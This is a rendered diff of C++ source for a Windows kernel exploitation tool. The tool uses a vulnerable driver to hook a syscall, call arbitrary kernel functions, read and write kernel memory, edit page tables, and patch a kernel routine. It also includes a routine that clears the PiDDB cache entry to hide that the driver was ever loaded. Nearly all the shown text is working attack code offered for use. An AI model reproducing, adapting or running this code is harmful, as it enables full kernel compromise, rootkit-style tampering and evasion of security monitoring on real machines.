util::get_module_export(
|
|
||||||
"ntoskrnl.exe",
|
|
||||||
"memcpy"
|
|
||||||
);
|
|
||||||
|
|
||||||
if (mm_copy_memory)
|
|
||||||
syscall<decltype(&memcpy)>(
|
|
||||||
mm_copy_memory,
|
|
||||||
address,
|
|
||||||
buffer,
|
|
||||||
size
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
void* kernel_ctx::get_physical(void* virt_addr)
|
|
||||||
{
|
|
||||||
if (!virt_addr)
|
|
||||||
return NULL;
|
|
||||||
|
|
||||||
static auto mm_get_physical =
|
|
||||||
util::get_module_export(
|
|
||||||
"ntoskrnl.exe",
|
|
||||||
"MmGetPhysicalAddress"
|
|
||||||
);
|
|
||||||
|
|
||||||
return syscall<MmGetPhysicalAddress>(
|
|
||||||
mm_get_physical,
|
|
||||||
virt_addr
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
void* kernel_ctx::get_virtual(void* addr)
|
|
||||||
{
|
|
||||||
if (!addr)
|
|
||||||
return NULL;
|
|
||||||
|
|
||||||
static auto mm_get_virtual =
|
|
||||||
util::get_module_export(
|
|
||||||
"ntoskrnl.exe",
|
|
||||||
"MmGetVirtualForPhysical"
|
|
||||||
);
|
|
||||||
|
|
||||||
PHYSICAL_ADDRESS phys_addr;
|
|
||||||
memcpy(&phys_addr, &addr, sizeof(addr));
|
|
||||||
return syscall<MmGetVirtualForPhysical>(
|
|
||||||
mm_get_virtual,
|
|
||||||
phys_addr
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
bool kernel_ctx::clear_piddb_cache(const std::string& file_name, const std::uint32_t timestamp)
|
|
||||||
{
|
|
||||||
static const auto piddb_lock =
|
|
||||||
util::memory::get_piddb_lock();
|
|
||||||
|
|
||||||
static const auto piddb_table =
|
|
||||||
util::memory::get_piddb_table();
|
|
||||||
|
|
||||||
if (!piddb_lock || !piddb_table)
|
|
||||||
return false;
|
|
||||||
|
|
||||||
static const auto ex_acquire_resource =
|
|
||||||
util::get_module_export(
|
|
||||||
"ntoskrnl.exe",
|
|
||||||
"ExAcquireResourceExclusiveLite"
|
|
||||||
);
|
|
||||||
|
|
||||||
static const auto lookup_element_table =
|
|
||||||
util::get_module_export(
|
|
||||||
"ntoskrnl.exe",
|
|
||||||
"RtlLookupElementGenericTableAvl"
|
|
||||||
);
|
|
||||||
|
|
||||||
static const auto release_resource =
|
|
||||||
util::get_module_export(
|
|
||||||
"ntoskrnl.exe",
|
|
||||||
"ExReleaseResourceLite"
|
|
||||||
);
|
|
||||||
|
|
||||||
static const auto delete_table_entry =
|
|
||||||
util::get_module_export(
|
|
||||||
"ntoskrnl.exe",
|
|
||||||
"RtlDeleteElementGenericTableAvl"
|
|
||||||
);
|
|
||||||
|
|
||||||
if (!ex_acquire_resource || !lookup_element_table || !release_resource)
|
|
||||||
return false;
|
|
||||||
|
|
||||||
PiDDBCacheEntry cache_entry;
|
|
||||||
const auto drv_name = std::wstring(file_name.begin(), file_name.end());
|
|
||||||
cache_entry.time_stamp = timestamp;
|
|
||||||
RtlInitUnicodeString(&cache_entry.driver_name, drv_name.data());
|
|
||||||
|
|
||||||
//
|
|
||||||
// ExAcquireResourceExclusiveLite
|
|
||||||
//
|
|
||||||
if (!syscall<ExAcquireResourceExclusiveLite>(ex_acquire_resource, piddb_lock, true))
|
|
||||||
return false;
|
|
||||||
|
|
||||||
//
|
|
||||||
// RtlLookupElementGenericTableAvl
|
|
||||||
//
|
|
||||||
PIDCacheobj* found_entry_ptr =
|
|
||||||
syscall<RtlLookupElementGenericTableAvl>(
|
|
||||||
lookup_element_table,
|
|
||||||
piddb_table,
|
|
||||||
reinterpret_cast<void*>(&cache_entry)
|
|
||||||
);
|
|
||||||
|
|
||||||
if (found_entry_ptr)
|
|
||||||
{
|
|
||||||
|
|
||||||
//
|
|
||||||
// unlink entry.
|
|
||||||
//
|
|
||||||
PIDCacheobj found_entry = rkm<PIDCacheobj>(found_entry_ptr);
|
|
||||||
LIST_ENTRY NextEntry = rkm<LIST_ENTRY>(found_entry.list.Flink);
|
|
||||||
LIST_ENTRY PrevEntry = rkm<LIST_ENTRY>(found_entry.list.Blink);
|
|
||||||
|
|
||||||
PrevEntry.Flink = found_entry.list.Flink;
|
|
||||||
NextEntry.Blink = found_entry.list.Blink;
|
|
||||||
|
|
||||||
wkm<LIST_ENTRY>(found_entry.list.Blink, PrevEntry);
|
|
||||||
wkm<LIST_ENTRY>(found_entry.list.Flink, NextEntry);
|
|
||||||
|
|
||||||
//
|
|
||||||
// delete entry.
|
|
||||||
//
|
|
||||||
syscall<RtlDeleteElementGenericTableAvl>(delete_table_entry, piddb_table, found_entry_ptr);
|
|
||||||
|
|
||||||
//
|
|
||||||
// ensure the entry is 0
|
|
||||||
//
|
|
||||||
auto result = syscall<RtlLookupElementGenericTableAvl>(
|
|
||||||
lookup_element_table,
|
|
||||||
piddb_table,
|
|
||||||
reinterpret_cast<void*>(&cache_entry)
|
|
||||||
);
|
|
||||||
|
|
||||||
syscall<ExReleaseResourceLite>(release_resource, piddb_lock);
|
|
||||||
return !result;
|
|
||||||
}
|
|
||||||
syscall<ExReleaseResourceLite>(release_resource, piddb_lock);
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
|
|
||||||
}
|
|
@ -1,112 +0,0 @@
|
|||||||
#pragma once
|
|
||||||
#include "../util/util.hpp"
|
|
||||||
#include "../physmeme/physmeme.hpp"
|
|
||||||
#include "../util/hook.hpp"
|
|
||||||
|
|
||||||
namespace nasa
|
|
||||||
{
|
|
||||||
//
|
|
||||||
// offset of function into a physical page
|
|
||||||
// used for comparing bytes when searching
|
|
||||||
//
|
|
||||||
inline std::uint16_t nt_page_offset{};
|
|
||||||
|
|
||||||
//
|
|
||||||
// rva of nt function we are going to hook
|
|
||||||
//
|
|
||||||
inline std::uint32_t nt_rva{};
|
|
||||||
|
|
||||||
//
|
|
||||||
// base address of ntoskrnl (inside of this process)
|
|
||||||
//
|
|
||||||
inline const std::uint8_t* ntoskrnl_buffer{};
|
|
||||||
|
|
||||||
//
|
|
||||||
// mapping of a syscalls physical memory (for installing hooks)
|
|
||||||
//
|
|
||||||
inline std::atomic<void*> psyscall_func{};
|
|
||||||
|
|
||||||
//
|
|
||||||
// you can edit this how you choose, im hooking NtShutdownSystem.
|
|
||||||
//
|
|
||||||
inline const std::pair<std::string_view, std::string_view> syscall_hook = { "NtShutdownSystem", "ntdll.dll" };
|
|
||||||
|
|
||||||
class kernel_ctx
|
|
||||||
{
|
|
||||||
friend class mem_ctx;
|
|
||||||
public:
|
|
||||||
kernel_ctx();
|
|
||||||
|
|
||||||
//
|
|
||||||
// read kernel memory into buffer
|
|
||||||
//
|
|
||||||
void rkm(void* buffer, void* address, std::size_t size);
|
|
||||||
|
|
||||||
//
|
|
||||||
// write kernel memory from buffer
|
|
||||||
//
|
|
||||||
void wkm(void* buffer, void* address, std::size_t size);
|
|
||||||
|
|
||||||
template <class T>
|
|
||||||
T rkm(void* addr)
|
|
||||||
{
|
|
||||||
if (!addr)
|
|
||||||
return {};
|
|
||||||
T buffer;
|
|
||||||
rkm((void*)&buffer, addr, sizeof(T));
|
|
||||||
return buffer;
|
|
||||||
}
|
|
||||||
|
|
||||||
template <class T>
|
|
||||||
void wkm(void* addr, const T& data)
|
|
||||||
{
|
|
||||||
if (!addr)
|
|
||||||
return;
|
|
||||||
wkm((void*)&data, addr, sizeof(T));
|
|
||||||
}
|
|
||||||
|
|
||||||
//
|
|
||||||
// gets physical address from virtual
|
|
||||||
//
|
|
||||||
void* get_physical(void* virt_addr);
|
|
||||||
|
|
||||||
//
|
|
||||||
// uses the pfn database to get the virtual address
|
|
||||||
//
|
|
||||||
void* get_virtual(void* virt_addr);
|
|
||||||
|
|
||||||
//
|
|
||||||
// use this to call any function in the kernel
|
|
||||||
//
|
|
||||||
template <class T, class ... Ts>
|
|
||||||
std::invoke_result_t<T, Ts...> syscall(void* addr, Ts ... args)
|
|
||||||
{
|
|
||||||
static const auto proc =
|
|
||||||
GetProcAddress(
|
|
||||||
GetModuleHandleA(syscall_hook.second.data()),
|
|
||||||
syscall_hook.first.data()
|
|
||||||
);
|
|
||||||
|
|
||||||
if (!proc || !psyscall_func || !addr)
|
|
||||||
return {};
|
|
||||||
|
|
||||||
hook::make_hook(psyscall_func, addr);
|
|
||||||
auto result = reinterpret_cast<T>(proc)(args ...);
|
|
||||||
hook::remove(psyscall_func);
|
|
||||||
return result;
|
|
||||||
}
|
|
||||||
|
|
||||||
bool clear_piddb_cache(const std::string& drv_name, const std::uint32_t epoch_time);
|
|
||||||
private:
|
|
||||||
|
|
||||||
//
|
|
||||||
// find and map the physical page of a syscall into this process
|
|
||||||
//
|
|
||||||
void map_syscall(std::uintptr_t begin, std::uintptr_t end) const;
|
|
||||||
|
|
||||||
//
|
|
||||||
// get a pointer to an eprocess given process id.
|
|
||||||
//
|
|
||||||
PEPROCESS get_peprocess(DWORD pid);
|
|
||||||
};
|
|
||||||
}
|
|
@ -1,38 +0,0 @@
|
|||||||
#include <iostream>
|
|
||||||
#include "kernel_ctx/kernel_ctx.h"
|
|
||||||
#include "mem_ctx/mem_ctx.hpp"
|
|
||||||
#include "patch_ctx/patch_ctx.hpp"
|
|
||||||
|
|
||||||
int __cdecl main(int argc, char** argv)
|
|
||||||
{
|
|
||||||
if (!nasa::load_drv())
|
|
||||||
return NULL;
|
|
||||||
|
|
||||||
nasa::kernel_ctx kernel;
|
|
||||||
|
|
||||||
if (!nasa::unload_drv())
|
|
||||||
return NULL;
|
|
||||||
|
|
||||||
if (!kernel.clear_piddb_cache(nasa::drv_key, util::get_file_header((void*)raw_driver)->TimeDateStamp))
|
|
||||||
{
|
|
||||||
std::cerr << "[+] failed to clear piddb cache" << std::endl;
|
|
||||||
return -1;
|
|
||||||
}
|
|
||||||
|
|
||||||
nasa::mem_ctx my_proc(kernel, GetCurrentProcessId());
|
|
||||||
nasa::patch_ctx kernel_patch(&my_proc);
|
|
||||||
|
|
||||||
const auto function_addr =
|
|
||||||
reinterpret_cast<void*>(
|
|
||||||
util::get_module_export("win32kbase.sys", "NtDCompositionRetireFrame"));
|
|
||||||
|
|
||||||
const auto new_patch_page = kernel_patch.patch(function_addr);
|
|
||||||
std::cout << "[+] new_patch_page: " << new_patch_page << std::endl;
|
|
||||||
*(short*)new_patch_page = 0xDEAD;
|
|
||||||
std::cout << "[+] kernel MZ (before patch): " << std::hex << kernel.rkm<short>(function_addr) << std::endl;
|
|
||||||
kernel_patch.enable();
|
|
||||||
std::cout << "[+] kernel MZ (patch enabled): " << std::hex << kernel.rkm<short>(function_addr) << std::endl;
|
|
||||||
kernel_patch.disable();
|
|
||||||
std::cout << "[+] kernel MZ (patch disabled): " << std::hex << kernel.rkm<short>(function_addr) << std::endl;
|
|
||||||
std::cin.get();
|
|
||||||
}
|
|
@ -1,461 +0,0 @@
|
|||||||
#include "mem_ctx.hpp"
|
|
||||||
#include <cassert>
|
|
||||||
|
|
||||||
namespace nasa
|
|
||||||
{
|
|
||||||
mem_ctx::mem_ctx(kernel_ctx& krnl_ctx, DWORD pid)
|
|
||||||
:
|
|
||||||
k_ctx(&krnl_ctx),
|
|
||||||
dirbase(get_dirbase(krnl_ctx, pid)),
|
|
||||||
pid(pid)
|
|
||||||
{
|
|
||||||
genesis_page.first = VirtualAlloc(
|
|
||||||
NULL,
|
|
||||||
PAGE_SIZE,
|
|
||||||
MEM_COMMIT | MEM_RESERVE,
|
|
||||||
PAGE_READWRITE
|
|
||||||
);
|
|
||||||
|
|
||||||
//
|
|
||||||
// page in the page, do not remove this makes the entries.
|
|
||||||
//
|
|
||||||
*(std::uintptr_t*)genesis_page.first = 0xC0FFEE;
|
|
||||||
|
|
||||||
//
|
|
||||||
// flush tlb since we just accessed the page
|
|
||||||
//
|
|
||||||
page_accessed();
|
|
||||||
|
|
||||||
//
|
|
||||||
// get the ppte and pte of the page we allocated
|
|
||||||
//
|
|
||||||
auto [page_ppte, page_pte] = get_pte(genesis_page.first, true);
|
|
||||||
genesis_page.second = page_pte;
|
|
||||||
|
|
||||||
//
|
|
||||||
// allocate a page that will get the mapping of the first pages PT
|
|
||||||
//
|
|
||||||
genesis_cursor.first = reinterpret_cast<::ppte>(
|
|
||||||
VirtualAlloc(
|
|
||||||
NULL,
|
|
||||||
0x1000,
|
|
||||||
MEM_COMMIT | MEM_RESERVE,
|
|
||||||
PAGE_READWRITE
|
|
||||||
));
|
|
||||||
|
|
||||||
//
|
|
||||||
// page it in
|
|
||||||
//
|
|
||||||
*(std::uintptr_t*)genesis_cursor.first = 0xC0FFEE;
|
|
||||||
|
|
||||||
//
|
|
||||||
// flush tlb since we just accessed the page
|
|
||||||
//
|
|
||||||
page_accessed();
|
|
||||||
|
|
||||||
//
|
|
||||||
// get ppte and pte of the cursor page.
|
|
||||||
//
|
|
||||||
auto [cursor_ppte, cursor_pte] = get_pte(genesis_cursor.first, true);
|
|
||||||
genesis_cursor.second = cursor_pte;
|
|
||||||
|
|
||||||
//
|
|
||||||
// change the page to the PT of the first page we allocated.
|
|
||||||
//
|
|
||||||
cursor_pte.pfn = reinterpret_cast<std::uint64_t>(page_ppte) >> 12;
|
|
||||||
set_pte(genesis_cursor.first, cursor_pte, true);
|
|
||||||
|
|
||||||
//
|
|
||||||
// change the offset of genesis cursor page to genesis pages pt_index since the page is now a PT
|
|
||||||
// WARNING: pointer arithmetic, do not add pt_index * 8
|
|
||||||
//
|
|
||||||
genesis_cursor.first += +virt_addr_t{ genesis_page.first }.pt_index;
|
|
||||||
|
|
||||||
//
|
|
||||||
// since the page has been accessed we need to reset this bit in the PTE.
|
|
||||||
//
|
|
||||||
page_accessed();
|
|
||||||
}
|
|
||||||
|
|
||||||
mem_ctx::~mem_ctx()
|
|
||||||
{
|
|
||||||
set_pte(genesis_page.first, genesis_page.second, true);
|
|
||||||
set_pte(genesis_cursor.first, genesis_cursor.second, true);
|
|
||||||
}
|
|
||||||
|
|
||||||
void* mem_ctx::set_page(void* addr)
|
|
||||||
{
|
|
||||||
page_offset = virt_addr_t{ addr }.offset;
|
|
||||||
genesis_cursor.first->pfn = reinterpret_cast<uint64_t>(addr) >> 12;
|
|
||||||
page_accessed();
|
|
||||||
return get_page();
|
|
||||||
}
|
|
||||||
|
|
||||||
void* mem_ctx::get_page() const
|
|
||||||
{
|
|
||||||
return reinterpret_cast<void*>((reinterpret_cast<std::uint64_t>(genesis_page.first)) + page_offset);
|
|
||||||
}
|
|
||||||
|
|
||||||
void mem_ctx::page_accessed() const
|
|
||||||
{
|
|
||||||
Sleep(5);
|
|
||||||
}
|
|
||||||
|
|
||||||
void* mem_ctx::get_dirbase(kernel_ctx& k_ctx, DWORD pid)
|
|
||||||
{
|
|
||||||
if (!pid)
|
|
||||||
return NULL;
|
|
||||||
|
|
||||||
const auto peproc =
|
|
||||||
reinterpret_cast<std::uint64_t>(k_ctx.get_peprocess(pid));
|
|
||||||
|
|
||||||
if (!peproc)
|
|
||||||
return NULL;
|
|
||||||
|
|
||||||
pte dirbase = k_ctx.rkm<pte>(
|
|
||||||
reinterpret_cast<void*>(peproc + 0x28)
|
|
||||||
);
|
|
||||||
|
|
||||||
return reinterpret_cast<void*>(dirbase.pfn << 12);
|
|
||||||
}
|
|
||||||
|
|
||||||
bool mem_ctx::hyperspace_entries(pt_entries& entries, void* addr)
|
|
||||||
{
|
|
||||||
if (!addr || !dirbase)
|
|
||||||
return false;
|
|
||||||
|
|
||||||
virt_addr_t virt_addr{ addr };
|
|
||||||
entries.pml4.first = reinterpret_cast<ppml4e>(dirbase) + virt_addr.pml4_index;
|
|
||||||
entries.pml4.second = k_ctx->rkm<pml4e>(
|
|
||||||
k_ctx->get_virtual(entries.pml4.first));
|
|
||||||
|
|
||||||
if (!entries.pml4.second.value)
|
|
||||||
return false;
|
|
||||||
|
|
||||||
entries.pdpt.first = reinterpret_cast<ppdpte>(entries.pml4.second.pfn << 12) + virt_addr.pdpt_index;
|
|
||||||
entries.pdpt.second = k_ctx->rkm<pdpte>(
|
|
||||||
k_ctx->get_virtual(entries.pdpt.first));
|
|
||||||
|
|
||||||
if (!entries.pdpt.second.value)
|
|
||||||
return false;
|
|
||||||
|
|
||||||
entries.pd.first = reinterpret_cast<ppde>(entries.pdpt.second.pfn << 12) + virt_addr.pd_index;
|
|
||||||
entries.pd.second = k_ctx->rkm<pde>(
|
|
||||||
k_ctx->get_virtual(entries.pd.first));
|
|
||||||
|
|
||||||
// if its a 2mb page
|
|
||||||
if (entries.pd.second.page_size)
|
|
||||||
{
|
|
||||||
memcpy(
|
|
||||||
&entries.pt.second,
|
|
||||||
&entries.pd.second,
|
|
||||||
sizeof(pte)
|
|
||||||
);
|
|
||||||
|
|
||||||
entries.pt.first = reinterpret_cast<ppte>(entries.pd.second.value);
|
|
||||||
return true;
|
|
||||||
}
|
|
||||||
|
|
||||||
entries.pt.first = reinterpret_cast<ppte>(entries.pd.second.pfn << 12) + virt_addr.pt_index;
|
|
||||||
entries.pt.second = k_ctx->rkm<pte>(
|
|
||||||
k_ctx->get_virtual(entries.pt.first));
|
|
||||||
|
|
||||||
if (!entries.pt.second.value)
|
|
||||||
return false;
|
|
||||||
|
|
||||||
return true;
|
|
||||||
}
|
|
||||||
|
|
||||||
std::pair<ppte, pte> mem_ctx::get_pte(void* addr, bool use_hyperspace)
|
|
||||||
{
|
|
||||||
if (!dirbase || !addr)
|
|
||||||
return {};
|
|
||||||
|
|
||||||
pt_entries entries;
|
|
||||||
if (use_hyperspace ? hyperspace_entries(entries, addr) : virt_to_phys(entries, addr))
|
|
||||||
{
|
|
||||||
::pte pte;
|
|
||||||
memcpy(&pte, &entries.pt.second, sizeof(pte));
|
|
||||||
return { entries.pt.first, pte };
|
|
||||||
}
|
|
||||||
return {};
|
|
||||||
}
|
|
||||||
|
|
||||||
void mem_ctx::set_pte(void* addr, const ::pte& pte, bool use_hyperspace)
|
|
||||||
{
|
|
||||||
if (!dirbase || !addr)
|
|
||||||
return;
|
|
||||||
|
|
||||||
pt_entries entries;
|
|
||||||
if (use_hyperspace)
|
|
||||||
if (hyperspace_entries(entries, addr))
|
|
||||||
k_ctx->wkm(
|
|
||||||
k_ctx->get_virtual(entries.pt.first),
|
|
||||||
pte
|
|
||||||
);
|
|
||||||
else
|
|
||||||
if (virt_to_phys(entries, addr))
|
|
||||||
write_phys(entries.pt.first, pte);
|
|
||||||
}
|
|
||||||
|
|
||||||
std::pair<ppde, pde> mem_ctx::get_pde(void* addr, bool use_hyperspace)
|
|
||||||
{
|
|
||||||
if (!dirbase || !addr)
|
|
||||||
return {};
|
|
||||||
|
|
||||||
pt_entries entries;
|
|
||||||
if (use_hyperspace ? hyperspace_entries(entries, addr) : virt_to_phys(entries, addr))
|
|
||||||
{
|
|
||||||
::pde pde;
|
|
||||||
memcpy(
|
|
||||||
&pde,
|
|
||||||
&entries.pd.second,
|
|
||||||
sizeof(pde)
|
|
||||||
);
|
|
||||||
return { entries.pd.first, pde };
|
|
||||||
}
|
|
||||||
return {};
|
|
||||||
}
|
|
||||||
|
|
||||||
void mem_ctx::set_pde(void* addr, const ::pde& pde, bool use_hyperspace)
|
|
||||||
{
|
|
||||||
if (!dirbase || !addr)
|
|
||||||
return;
|
|
||||||
|
|
||||||
pt_entries entries;
|
|
||||||
if (use_hyperspace)
|
|
||||||
if (hyperspace_entries(entries, addr))
|
|
||||||
k_ctx->wkm(
|
|
||||||
k_ctx->get_virtual(entries.pd.first),
|
|
||||||
pde
|
|
||||||
);
|
|
||||||
else
|
|
||||||
if (virt_to_phys(entries, addr))
|
|
||||||
write_phys(entries.pd.first, pde);
|
|
||||||
}
|
|
||||||
|
|
||||||
std::pair<ppdpte, pdpte> mem_ctx::get_pdpte(void* addr, bool use_hyperspace)
|
|
||||||
{
|
|
||||||
if (!dirbase || !addr)
|
|
||||||
return {};
|
|
||||||
|
|
||||||
pt_entries entries;
|
|
||||||
if (use_hyperspace ? hyperspace_entries(entries, addr) : virt_to_phys(entries, addr))
|
|
||||||
{
|
|
||||||
::pdpte pdpte;
|
|
||||||
memcpy(
|
|
||||||
&pdpte,
|
|
||||||
&entries.pdpt.second,
|
|
||||||
sizeof(pdpte)
|
|
||||||
);
|
|
||||||
return { entries.pdpt.first, pdpte };
|
|
||||||
}
|
|
||||||
return {};
|
|
||||||
}
|
|
||||||
|
|
||||||
void mem_ctx::set_pdpte(void* addr, const ::pdpte& pdpte, bool use_hyperspace)
|
|
||||||
{
|
|
||||||
if (!dirbase || !addr)
|
|
||||||
return;
|
|
||||||
|
|
||||||
pt_entries entries;
|
|
||||||
if (use_hyperspace)
|
|
||||||
if (hyperspace_entries(entries, addr))
|
|
||||||
k_ctx->wkm(
|
|
||||||
k_ctx->get_virtual(entries.pdpt.first),
|
|
||||||
pdpte
|
|
||||||
);
|
|
||||||
else
|
|
||||||
if (virt_to_phys(entries, addr))
|
|
||||||
write_phys(entries.pdpt.first, pdpte);
|
|
||||||
}
|
|
||||||
|
|
||||||
std::pair<ppml4e, pml4e> mem_ctx::get_pml4e(void* addr, bool use_hyperspace)
|
|
||||||
{
|
|
||||||
if (!dirbase || !addr)
|
|
||||||
return {};
|
|
||||||
|
|
||||||
pt_entries entries;
|
|
||||||
if (use_hyperspace ? hyperspace_entries(entries, addr) : virt_to_phys(entries, addr))
|
|
||||||
{
|
|
||||||
::pml4e pml4e;
|
|
||||||
memcpy(
|
|
||||||
&pml4e,
|
|
||||||
&entries.pml4.second,
|
|
||||||
sizeof(pml4e)
|
|
||||||
);
|
|
||||||
return { entries.pml4.first, pml4e };
|
|
||||||
}
|
|
||||||
return {};
|
|
||||||
}
|
|
||||||
|
|
||||||
void mem_ctx::set_pml4e(void* addr, const ::pml4e& pml4e, bool use_hyperspace)
|
|
||||||
{
|
|
||||||
if (!dirbase || !addr)
|
|
||||||
return;
|
|
||||||
|
|
||||||
pt_entries entries;
|
|
||||||
if (use_hyperspace)
|
|
||||||
if (hyperspace_entries(entries, addr))
|
|
||||||
k_ctx->wkm(
|
|
||||||
k_ctx->get_virtual(entries.pml4.first),
|
|
||||||
pml4e
|
|
||||||
);
|
|
||||||
else
|
|
||||||
if (virt_to_phys(entries, addr))
|
|
||||||
write_phys(entries.pml4.first, pml4e);
|
|
||||||
}
|
|
||||||
|
|
||||||
std::pair<void*, void*> mem_ctx::read_virtual(void* buffer, void* addr, std::size_t size)
|
|
||||||
{
|
|
||||||
if (!buffer || !addr || !size || !dirbase)
|
|
||||||
return {};
|
|
||||||
|
|
||||||
virt_addr_t virt_addr{ addr };
|
|
||||||
if (size <= PAGE_SIZE - virt_addr.offset)
|
|
||||||
{
|
|
||||||
pt_entries entries;
|
|
||||||
read_phys(
|
|
||||||
buffer,
|
|
||||||
virt_to_phys(entries, addr),
|
|
||||||
size
|
|
||||||
);
|
|
||||||
return {
|
|
||||||
reinterpret_cast<void*>(reinterpret_cast<std::uintptr_t>(buffer) + size),
|
|
||||||
reinterpret_cast<void*>(reinterpret_cast<std::uintptr_t>(addr) + size)
|
|
||||||
};
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
// cut remainder
|
|
||||||
const auto [new_buffer_addr, new_addr] = read_virtual(
|
|
||||||
buffer,
|
|
||||||
addr,
|
|
||||||
PAGE_SIZE - virt_addr.offset
|
|
||||||
);
|
|
||||||
// forward work load
|
|
||||||
return read_virtual(
|
|
||||||
new_buffer_addr,
|
|
||||||
new_addr,
|
|
||||||
size - (PAGE_SIZE - virt_addr.offset)
|
|
||||||
);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
std::pair<void*, void*> mem_ctx::write_virtual(void* buffer, void* addr, std::size_t size)
|
|
||||||
{
|
|
||||||
if (!buffer || !addr || !size || !dirbase)
|
|
||||||
return {};
|
|
||||||
|
|
||||||
virt_addr_t virt_addr{ addr };
|
|
||||||
if (size <= PAGE_SIZE - virt_addr.offset)
|
|
||||||
{
|
|
||||||
pt_entries entries;
|
|
||||||
write_phys(
|
|
||||||
buffer,
|
|
||||||
virt_to_phys(entries, addr),
|
|
||||||
size
|
|
||||||
);
|
|
||||||
|
|
||||||
return {
|
|
||||||
reinterpret_cast<void*>(reinterpret_cast<std::uintptr_t>(buffer) + size),
|
|
||||||
reinterpret_cast<void*>(reinterpret_cast<std::uintptr_t>(addr) + size)
|
|
||||||
};
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
// cut remainder
|
|
||||||
const auto [new_buffer_addr, new_addr] = write_virtual(
|
|
||||||
buffer,
|
|
||||||
addr,
|
|
||||||
PAGE_SIZE - virt_addr.offset
|
|
||||||
);
|
|
||||||
|
|
||||||
// forward work load
|
|
||||||
return write_virtual(
|
|
||||||
new_buffer_addr,
|
|
||||||
new_addr,
|
|
||||||
size - (PAGE_SIZE - virt_addr.offset)
|
|
||||||
);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
void mem_ctx::read_phys(void* buffer, void* addr, std::size_t size)
|
|
||||||
{
|
|
||||||
if (!buffer || !addr || !size)
|
|
||||||
return;
|
|
||||||
|
|
||||||
auto temp_page = set_page(addr);
|
|
||||||
if (temp_page)
|
|
||||||
memcpy(buffer, temp_page, size);
|
|
||||||
}
|
|
||||||
|
|
||||||
void mem_ctx::write_phys(void* buffer, void* addr, std::size_t size)
|
|
||||||
{
|
|
||||||
if (!buffer || !addr || !size)
|
|
||||||
return;
|
|
||||||
|
|
||||||
auto temp_page = set_page(addr);
|
|
||||||
if (temp_page)
|
|
||||||
memcpy(temp_page, buffer, size);
|
|
||||||
}
|
|
||||||
|
|
||||||
void* mem_ctx::virt_to_phys(pt_entries& entries, void* addr)
|
|
||||||
{
|
|
||||||
if (!addr || !dirbase)
|
|
||||||
return {};
|
|
||||||
|
|
||||||
virt_addr_t virt_addr{ addr };
|
|
||||||
|
|
||||||
//
|
|
||||||
// traverse paging tables
|
|
||||||
//
|
|
||||||
auto pml4e = read_phys<::pml4e>(
|
|
||||||
reinterpret_cast<ppml4e>(dirbase) + virt_addr.pml4_index);
|
|
||||||
|
|
||||||
entries.pml4.first = reinterpret_cast<ppml4e>(dirbase) + virt_addr.pml4_index;
|
|
||||||
entries.pml4.second = pml4e;
|
|
||||||
|
|
||||||
if (!pml4e.value)
|
|
||||||
return NULL;
|
|
||||||
|
|
||||||
auto pdpte = read_phys<::pdpte>(
|
|
||||||
reinterpret_cast<ppdpte>(pml4e.pfn << 12) + virt_addr.pdpt_index);
|
|
||||||
|
|
||||||
entries.pdpt.first = reinterpret_cast<ppdpte>(pml4e.pfn << 12) + virt_addr.pdpt_index;
|
|
||||||
entries.pdpt.second = pdpte;
|
|
||||||
|
|
||||||
if (!pdpte.value)
|
|
||||||
return NULL;
|
|
||||||
|
|
||||||
auto pde = read_phys<::pde>(
|
|
||||||
reinterpret_cast<ppde>(pdpte.pfn << 12) + virt_addr.pd_index);
|
|
||||||
|
|
||||||
entries.pd.first = reinterpret_cast<ppde>(pdpte.pfn << 12) + virt_addr.pd_index;
|
|
||||||
entries.pd.second = pde;
|
|
||||||
|
|
||||||
if (!pde.value)
|
|
||||||
return NULL;
|
|
||||||
|
|
||||||
auto pte = read_phys<::pte>(
|
|
||||||
reinterpret_cast<ppte>(pde.pfn << 12) + virt_addr.pt_index);
|
|
||||||
|
|
||||||
entries.pt.first = reinterpret_cast<ppte>(pde.pfn << 12) + virt_addr.pt_index;
|
|
||||||
entries.pt.second = pte;
|
|
||||||
|
|
||||||
if (!pte.value)
|
|
||||||
return NULL;
|
|
||||||
|
|
||||||
return reinterpret_cast<void*>((pte.pfn << 12) + virt_addr.offset);
|
|
||||||
}
|
|
||||||
|
|
||||||
unsigned mem_ctx::get_pid() const
|
|
||||||
{
|
|
||||||
return pid;
|
|
||||||
}
|
|
||||||
|
|
||||||
void* mem_ctx::get_dirbase() const
|
|
||||||
{
|
|
||||||
return dirbase;
|
|
||||||
}
|
|
||||||
}
|
|
@ -1,119 +0,0 @@
|
|||||||
#pragma once
|
|
||||||
#include "../util/nt.hpp"
|
|
||||||
#include "../kernel_ctx/kernel_ctx.h"
|
|
||||||
|
|
||||||
#define FLUSH_TLB Sleep(1)
|
|
||||||
|
|
||||||
struct pt_entries
|
|
||||||
{
|
|
||||||
std::pair<ppml4e, pml4e> pml4;
|
|
||||||
std::pair<ppdpte, pdpte> pdpt;
|
|
||||||
std::pair<ppde, pde> pd;
|
|
||||||
std::pair<ppte, pte> pt;
|
|
||||||
};
|
|
||||||
|
|
||||||
namespace nasa
|
|
||||||
{
|
|
||||||
class mem_ctx
|
|
||||||
{
|
|
||||||
public:
|
|
||||||
explicit mem_ctx(kernel_ctx& k_ctx, DWORD pid);
|
|
||||||
~mem_ctx();
|
|
||||||
|
|
||||||
//
|
|
||||||
// PTE manipulation
|
|
||||||
//
|
|
||||||
std::pair<ppte, pte> get_pte(void* addr, bool use_hyperspace = false);
|
|
||||||
void set_pte(void* addr, const ::pte& pte, bool use_hyperspace = false);
|
|
||||||
|
|
||||||
//
|
|
||||||
// PDE manipulation
|
|
||||||
//
|
|
||||||
std::pair<ppde, pde> get_pde(void* addr, bool use_hyperspace = false);
|
|
||||||
void set_pde(void* addr, const ::pde& pde, bool use_hyperspace = false);
|
|
||||||
|
|
||||||
//
|
|
||||||
// PDPTE manipulation
|
|
||||||
//
|
|
||||||
std::pair<ppdpte, pdpte> get_pdpte(void* addr, bool use_hyperspace = false);
|
|
||||||
void set_pdpte(void* addr, const ::pdpte& pdpte, bool use_hyperspace = false);
|
|
||||||
|
|
||||||
//
|
|
||||||
// PML4E manipulation
|
|
||||||
//
|
|
||||||
